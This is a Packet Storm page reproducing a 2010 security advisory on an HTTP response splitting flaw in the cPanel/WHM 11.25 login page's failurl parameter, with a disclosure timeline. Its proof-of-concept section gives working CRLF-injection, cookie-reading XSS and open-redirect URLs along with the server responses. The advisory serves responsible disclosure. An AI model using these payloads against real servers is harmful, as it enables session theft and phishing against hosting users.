we care because you do

cPanel HTTP Response Splitting

cPanel HTTP Response Splitting
Posted Jan 22, 2010
Authored by Trancer

cPanel and WHM versions 11.25 (up to build 42174) allows CR injection that can be leveraged for HTTP response splitting attacks.

tags | exploit, web
MD5 | 79d336770936e7a83a8fd0673d0137e4

cPanel HTTP Response Splitting

Change Mirror Download
Recognize-Security - cPanel HTTP Response Splitting Vulnerability
-----------------------------------------------------------------

Security Advisory by Trancer
January 21 2010
http://www.rec-sec.com
"Hacking, however, is an art, not a science."



Vendor
------
cPanel Inc. - http://www.cpanel.net


Vulnerability Information
-------------------------
Application description:
"cPanel is the industry leader for turning standalone servers into a fully automated point-and-click hosting platform. Tedious tasks are
replaced by web interfaces and API-based calls. cPanel is designed with multiple levels of administration including admin, reseller, end
user, and email-based interfaces. These multiple levels provide security, ease of use, and flexibility for everyone from the server
administrator to the email account user." - cPanel website.

Remotely exploitable: Yes

Localy exploitable: No

Affected versions:
- cPanel 11.25 build 42174
- WHM (WebHost Manager) 11.25 build 42174
* Previous versions may also be affected.


Vulnerability Details
---------------------
An input validation problem exists within cPanel and WHM versions 11.25 (up to build 42174) which allows injecting CR (carriage return - %0D
or \r) and LF (line feed - %0A or \n) characters into the server HTTP response header, resulting in a HTTP Response Splitting[1]
vulnerability.
The vulnerability exists in the failurl parameter of cPanel login page. In a failed login attempt, the value of failurl returns to the
client in the Location HTTP header.
This vulnerability is possible because the application fails to validate user supplied input to failurl parameter, returning it un-sanitized
within the server HTTP response header back to the client. This vulnerability not only gives attackers control of the remaining headers and
body of the server response, but also allows them to create additional responses entirely under their control.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal
cookie-based authentication credentials, control how the site is rendered to the user, and influence or misrepresent how web content is
served, cached, or interpreted. Other attacks are also possible.
cPanel Inc. patched the HTTP Response Splitting vulnerability in the latest versions (build 42213 up to 42483 – latest version) of cPanel
and WHM, but an Open Redirection[2][3] vulnerability still exist (see Disclosure Timeline).



Proof-of-Concept
----------------
Header Injection ("Set-Cookie"):

http://server.com:2082/login/?user=foo&pass=bar&failurl=%0D%0ASet-Cookie%3A%20Rec=Sec

Server Response:

HTTP/1.1 307 Moved
Server: cpsrvd/11.25
Connection: close
Content-length: 105
Location:
Set-Cookie: Rec=Sec
Content-type: text/html
<html><head><META HTTP-EQUIV="refresh" CONTENT="0;URL=
Set-Cookie: Rec=Sec"></head><body></body></html>


Cross-Site Scripting:

http://server.com:2082/login/?user=foo&pass=bar&failurl=%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert%28%22Recognize-Security%20-%20%22%2Bdocument.cookie%29;%3C/script%3E%3C!--

Server Response:

HTTP/1.1 307 Moved
Server: cpsrvd/11.25
Connection: close
Content-length: 206
Location:
Content-Type: text/html
<script>alert("Recognize-Security - "+document.cookie);</script><!--
Content-type: text/html
<html><head><META HTTP-EQUIV="refresh" CONTENT="0;URL=
Content-Type: text/html
<script>alert("Recognize-Security - "+document.cookie);</script><!--"></head><body></body></html>


Open Redirection:

http://server.com:2082/login/?user=foo&pass=bar&failurl=http://www.rec-sec.com

Server Response:

HTTP/1.1 307 Moved
Server: cpsrvd/11.25
Connection: close
Content-length: 106
Location: http://www.rec-sec.com
Content-type: text/html
<html><head><META HTTP-EQUIV="refresh" CONTENT="0;URL=http://www.rec-sec.com"></head><body></body></html>




Discovery
---------
Moshe Ben Abu - Trancer
Recognize-Security
mtrancer [AT_nospam] gmail.com
http://www.rec-sec.com


Disclosure Timeline
-------------------
- 16/12/2009 – Recognize-Security notifies cPanel Security Team about an HTTP Response Splitting vulnerability discovered in cPanel and WHM
version 11.25 build 42174, sending security advisory draft.
- 17/12/2009 – cPanel Security Team confirmed HTTP Response Splitting vulnerability, setting the release date of a patched version to
January 1st, 2009.
- 17/12/2009 – Recognize-Security asks for further information regarding the exact version numbers of the vulnerable systems. Got no
response.
- 21/12/2009 – cPanel Inc. release cPanel and WHM version 11.25.0 build 42213, fixing HTTP response splitting vulnerability.
- 22/12/2009 – Recognize-Security request status regarding the vulnerability from cPanel Security Team. Got no response.
- 14/01/2010 – Recognize-Security confirmed the HTTP Response Splitting vulnerability patched on the latest cPanel and WHM versions (build
42483) and find the patch is insufficient, an Open Redirection vulnerability exist. Recognize-Security notifies the cPanel Security Team
about the new findings and asks them to respond. Got no response.
- 21/01/2010 – Recognize-Security release security advisory.


References
----------
[1] “HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics” by Amit Klein,
http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
[2] "URL Redirector Abuse" - The Web Application Security Consortium Threat Classification v2.0,
http://projects.webappsec.org/URL-Redirector-Abuse
[3] "Open Redirect" – OWASP,
http://www.owasp.org/index.php/Open_redirect


About Recognize-Security
------------------------
Recognize-Security is a non-profit information security web site authored by Moshe Ben Abu (Trancer), focusing on vulnerability research,
exploit development (mainly for the Metasploit Framework), web application security, and information security and hacking news from around
the world.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close